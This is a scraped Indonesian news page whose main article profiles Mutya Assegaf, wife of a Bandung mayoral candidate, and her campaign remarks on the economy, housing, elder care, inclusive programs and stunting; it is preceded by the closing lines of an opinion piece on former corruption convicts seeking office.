biasanya akan dimulai ketika fase sang calon pemimpin sudah resmi dilantik menjadi pemimpin di suatu daerah. Lalu bagaimana dengan pejabat yang pernah melakukan tindak pidana korupsi ingin mnejabat kembali menjadi kepala daerah?Maka hal itu kita kembalikan lagi kepada diri kita dengan berfikiran jernih dan mengikuti langkah secara naluriah kita sebagai insan manusia.*** -
Mutya Assegaf, Memperjuangkan Kesejahteraan Warga Bandung
BANDUNG, VISTA NUSANTARA — Calon wali kota Bandung, Arfi Rafnialdi punya komitmen kuat untuk memperjuangkan aspirasi rakyat. Selain terjun langsung untuk mendengar berbagai aspirasi, Kang Arfi turut dibantu istrinya, Mutya Assegaf.Mereka berdua kompak berbagi tugas untuk mendengar berbagai keluh kesah warga Kota Bandung. Seperti yang dilakukan Mutya saat mengunjungi kelompok disabilitas di Kecamatan Coblong, Minggu (20/10/2024).Sebagai istri calon wali kota, Mutya menunjukkan dedikasinya dengan aktif terjun ke lapangan untuk mendengarkan aspirasi warga. Dalam berbagai kesempatan, ia terlibat dalam kegiatan sosial, menunjukkan komitmennya untuk memahami dan membantu masyarakat. Keberadaannya di tengah masyarakat tidak hanya memperkuat dukungan bagi suaminya, tetapi juga menciptakan hubungan yang lebih dekat antara calon pemimpin dan warga.Mutya menyampaikan bahwa salah satu isu yang paling sering muncul dalam kegiatannya bertemu warga adalah masalah ekonomi, yang berdampak signifikan pada kesejahteraan hidup dan kualitas tempat tinggal masyarakat. Ia menekankan pentingnya memahami tantangan ekonomi yang dihadapi warga agar dapat merumuskan solusi yang tepat guna untuk meningkatkan taraf hidup mereka. Dalam diskusi tersebut, Mutya juga menyoroti perlunya program-program yang mendukung pengembangan ekonomi lokal, menciptakan lapangan kerja, dan memberikan akses yang lebih baik terhadap sumber daya dan layanan bagi masyarakat.“Dalam program Jumat Berkah dan blusukan, saya sering menemukan masalah utama terkait ekonomi, yang berpengaruh pada kesejahteraan hidup dan tempat tinggal. Di Bandung, masih banyak hunian yang tidak layak,” ujar Teh Mutya.Mutya mengaku sedih melihat kondisi tersebut, terutama ketika berhadapan dengan warga lanjut usia yang kurang mendapatkan perhatian. Ia merasa prihatin terhadap mereka yang sakit namun tidak mampu berobat, mengingat pentingnya akses terhadap pelayanan kesehatan bagi semua lapisan masyarakat. Keprihatinannya ini mendorongnya untuk terus berjuang demi perbaikan kehidupan warga, terutama bagi mereka yang paling rentan. Mutya menegaskan bahwa pemerintah perlu lebih aktif dalam menyediakan layanan kesehatan yang terjangkau dan menjangkau seluruh lapisan masyarakat, sehingga tidak ada yang tertinggal dalam mendapatkan hak-hak dasar mereka.Hal itu, kata Mutya, menjadi pelajaran penting bahwa ada beberapa aspek yang perlu mendapat perhatian lebih dari pemerintah, khususnya terkait masalah ekonomi, tempat tinggal, dan kesehatan penduduk lanjut usia. Ia menekankan pentingnya program yang mendukung kesejahteraan warga, terutama bagi mereka yang rentan, agar tidak ada yang tertinggal dalam pembangunan dan akses terhadap layanan dasar. Mutya berpendapat bahwa kolaborasi antara pemerintah dan masyarakat sangat penting untuk menciptakan solusi yang efektif dalam mengatasi tantangan ini, sehingga setiap individu dapat merasakan manfaat dari kemajuan yang ada.“Bagi saya, yang utama itu warga tenang kalau tahu besok bisa makan apa, anak bisa sekolah, dan kalau sakit bisa berobat. Pemerintah harus memperhatikan tiga hal ini, ekonomi, pendidikan, dan kesehatan,” tegasnya.Teh Mutya juga menyoroti pentingnya program inklusif yang dapat memfasilitasi semua kalangan masyarakat, termasuk lansia, penyandang disabilitas, dan anak-anak berkebutuhan khusus. Ia berpendapat bahwa Kota Bandung harus menjadi tempat tinggal yang nyaman dan aman bagi semua orang, tanpa terkecuali. Program-program ini diharapkan dapat memberikan dukungan yang memadai untuk meningkatkan kualitas hidup dan kesejahteraan seluruh warga. Dengan adanya kebijakan yang ramah bagi semua lapisan masyarakat, Mutya berharap dapat menciptakan lingkungan yang lebih adil dan setara, di mana setiap individu merasa dihargai dan diperhatikan dalam setiap aspek kehidupan.“Penting sekali bahwa program inklusif harus mampu menjangkau seluruh masyarakat, terutama mereka yang tidak sehat atau memiliki kebutuhan khusus. Pemerintah harus bisa memfasilitasi ini,” ujarnya.Dia juga menyinggung persoalan stunting, menyatakan bahwa pengentasan masalah ini dapat dilakukan melalui posyandu dengan dukungan dana dari Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK). Menurutnya, program ini penting untuk memastikan anak-anak mendapatkan nutrisi yang cukup dan perhatian yang diperlukan untuk tumbuh kembang yang optimal. Dukungan pemerintah dalam bentuk dana dan program yang terintegrasi di posyandu diharapkan dapat membantu mengurangi angka stunting dan meningkatkan kesehatan anak di Kota Bandung. Dengan adanya pendekatan yang komprehensif ini, Teh Mutya percaya bahwa setiap anak berhak memperoleh masa depan yang lebih baik dan sehat, serta dapat berkontribusi positif bagi masyarakat di sekitarnya.“Di Posyandu Babakan Ciparay, saya temui kasus stunting hanya satu, namun secara keseluruhan angka stunting di Bandung masih tinggi. Ini menunjukkan bahwa pemberdayaan Posyandu belum optimal, dan bisa didukung melalui dana PIPPK,” tandasnya.***


.jpg)
.jpeg)






.jpg)
